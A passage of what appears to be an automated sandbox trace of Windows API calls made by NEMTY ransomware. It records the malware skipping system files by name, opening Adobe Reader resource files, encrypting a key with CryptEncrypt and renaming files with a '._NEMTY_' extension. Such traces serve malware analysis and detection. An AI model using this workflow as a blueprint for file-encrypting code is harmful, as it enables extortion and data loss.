Size=0x167) returned 0x6348d60 [0212.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0212.705] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.705] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0212.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0212.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.705] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.714] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.714] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.724] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.724] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.724] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.724] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.734] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.743] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.743] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.753] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.753] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.762] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.762] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.762] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.762] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.772] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.772] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.781] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.781] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.797] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.807] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.807] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.813] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.813] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.819] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.819] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0212.819] CloseHandle (hObject=0xffffffff) returned 0 [0212.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0212.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0212.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0212.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0212.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0212.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0212.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0212.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0212.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0212.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0212.820] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-v._nemty_kgobjgd_")) returned 0 [0212.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0212.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0212.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0212.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0212.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0212.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0212.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0212.820] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x315bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UTF16-H", cAlternateFileName="UN87E6~1")) returned 1 [0212.820] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2=".") returned 1 [0212.820] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="..") returned 1 [0212.820] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="...") returned 1 [0212.820] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="windows") returned -1 [0212.820] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="$RECYCLE.BIN") returned 1 [0212.820] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="rsa") returned 1 [0212.820] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="NTDETECT.COM") returned 1 [0212.820] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="ntldr") returned 1 [0212.820] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="MSDOS.SYS") returned 1 [0212.820] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="IO.SYS") returned 1 [0212.820] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="boot.ini") returned 1 [0212.821] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="boot.ini") returned 1 [0212.821] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="AUTOEXEC.BAT") returned 1 [0212.821] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="ntuser.dat") returned 1 [0212.821] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="desktop.ini") returned 1 [0212.821] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="CONFIG.SYS") returned 1 [0212.821] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="RECYCLER") returned 1 [0212.821] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="BOOTSECT.BAK") returned 1 [0212.821] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="bootmgr") returned 1 [0212.821] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="programdata") returned 1 [0212.821] lstrcmpiW (lpString1="UniJIS-UTF16-H", lpString2="appdata") returned 1 [0212.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UTF16-H", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0212.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UTF16-H", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UTF16-H", lpUsedDefaultChar=0x0) returned 14 [0212.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0212.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UTF16-H", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0212.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UTF16-H", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UTF16-H", lpUsedDefaultChar=0x0) returned 14 [0212.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0212.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UTF16-H", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0212.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UTF16-H", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UTF16-H", lpUsedDefaultChar=0x0) returned 14 [0212.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UTF16-H", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0212.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UTF16-H", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UTF16-H", lpUsedDefaultChar=0x0) returned 14 [0212.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0212.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0212.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0212.821] Sleep (dwMilliseconds=0x5) [0212.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x327e4a70, dwHighDateTime=0x1d561e8)) [0212.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x327e4a70, dwHighDateTime=0x1d561e8)) [0212.829] GetLastError () returned 0x5 [0212.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0212.829] GetLastError () returned 0x5 [0212.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0212.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0212.829] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0212.829] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0212.829] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0212.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0212.829] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="uaLS6TovG7ryES4y6wG075x7PtXfNyhlLug9XqPC4KsI/ImtNHXEz39XF1os6YVj\r\nhvrH6/i+N3fk9JtacwMXINeuEkaqr1eORtcXvhVqQoIHumDret+Col+xolayAMtB\r\n4zPznVtyPDe7S7l7PqMfb/OU3d4sk06FOR9BSV2Fi3nXqTXS4ZKkFf5f/c5gmjxJ\r\nWUCH7A4T+x2GbqnhIqEO9O7Ez4QKh3KRl6W2yyCYS4ZJ55q0FrwPbrzzL1suhDKB\r\ndUPiZU7zqNlPiMJoXyvTm6bZs6V3spZNvONfLvTxteDo1zuSksn2b/FZZIGxOlpa\r\n7ocXAXNNqlZyaWi5dIN/0Q==\r\n", pcchString=0x653e91c) returned 1 [0212.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0212.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0212.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0212.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0212.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0212.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0212.830] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-utf16-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.830] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0212.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0212.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.831] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.840] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.840] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.849] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.850] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.859] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 